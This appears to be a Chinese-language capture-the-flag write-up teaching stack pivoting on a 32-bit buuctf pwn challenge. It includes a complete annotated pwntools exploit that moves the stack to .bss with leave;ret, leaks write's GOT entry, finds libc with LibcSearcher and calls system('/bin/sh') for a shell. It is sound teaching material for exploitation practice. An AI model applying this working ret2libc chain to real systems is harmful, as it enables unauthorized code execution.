栈迁移学习(buuctf [Black Watch 入群题])

i春秋的borrowstack是栈迁移和万能gadget的混合,,,然后writeup看的不是很明白,也没有很细的解析,所以,emmm,应该是自己栈迁移学的不是很好,只是知道大概的意思,但是还没有做过题,这次在看雪看到文章,就好好学一下,做到题啦!!

栈迁移,我觉得比较好理解,如果试过将调用一个函数过程好好自己试过的话,知道控制ebp,可以控制函数的去向,详细可以看看这篇图示:https://bbs.pediy.com/thread-258030.htm

 

我主要来讲讲这道题目:buuctf的[Black Watch 入群题]PWN 52(https://buuoj.cn/challenges#[Black%20Watch%20%E5%85%A5%E7%BE%A4%E9%A2%98]PWN)

栈迁移学习(buuctf [Black Watch 入群题])_第1张图片

32位程序。。。

栈迁移学习(buuctf [Black Watch 入群题])_第2张图片

点进去看看m1和m2

栈迁移学习(buuctf [Black Watch 入群题])_第3张图片

有两个read函数,第一个s在bss段,可以将数据读入bss段,第二个buf在栈上,可以覆盖返回地址,但是溢出后空间不够哇,所以要将栈迁移到bss段

 

//详细的exp
#!usr/bin/python
#coding=utf-8
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',26044)
elf=ELF('./spwn')

bss_s=0x0804A300//ida里面找到的
leave_ret=0x08048408 //用指令ROPgadget --binary spwn --only ‘leave|ret’查到的
write_plt=elf.plt['write']//write的plt表可以调用write函数
write_got=elf.got['write']//write的got表里面有write函数的真实地址
main_addr=elf.symbols['main']

p.recvuntil("name?")
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
//栈迁移过来后 执行write函数 write后返回main函数 write的三个参数
p.send(payload)

p.recvuntil("say?")
payload='a'*0x18+p32(bss_s-4)+p32(leave_ret)
//       覆盖量。。因为由于有pop ebp,会使esp-4,将ebp 覆盖为想要调整的位置-4
 
//leave_ret相当于先mov esp,ebp 然后pop pop ebp,再pop eip
//这样执行,esp指向ebp,也就是上面栈指向bss-4的位置,然后,pop ebp,esp、ebp指向bss,pop eip,然后程序就来执行了write函数,esp指向了main_addr,执行完write就main回去了

p.send(payload)

leak=u32(p.recv(4))
//因为write的第二个参数是write_got,所以它会输出write的got
libc=LibcSearcher('write',leak)//根据泄漏的write地址,用LibcSearcher可以找到对应的libc版本,//然后找到对应的write函数地址
libc_base=leak-libc.dump('write')//找到偏移

system_addr=libc_base + libc.dump('system')//根据偏移和system在libc中的地址找到system在程序中的地址

//***第二次执行程序***
p.recv()
payload=p32(system_addr)+p32(main_addr)+p32(bss_s+4*3)+'/bin/sh\x00'
//这次在bss段构造 system函数  返回地址       参数在bss_s后面三个位置   在这个位置填上system的参数
p.send(payload)

p.recv()
payload='a'*0x18+p32(bss_s-4)+p32(leave_ret)
p.send(payload)

p.interactive()

参考博客:https://bbs.pediy.com/thread-257983.htm

【参考博客:https://wintersun.space/2016/05/20/pwn-%E5%85%B3%E4%BA%8E%E6%A0%88%E7%9A%84%E8%BF%81%E7%A7%BB/

ret返回的是栈顶数据,而栈顶地址是由esp寄存器的值决定的,也就是说如果我们控制了esp寄存器的数据,那么我们也就能够控制ret返回的栈顶数据。

我们首先将栈中保存ebp数据的地址空间控制为我们想要栈顶地址,再利用两次leave操作mov esp,ebp;pop ebp;mov esp,ebp;pop ebp;将esp寄存器中的值变成我们想让它成为的值。由于最后还有一个pop ebp操作多余,该操作将导致esp-4,所以在构造ret的数据时应当考虑到将数据放到我们构造的esp地址-4的位置。】

 

你可能感兴趣的:(pwn)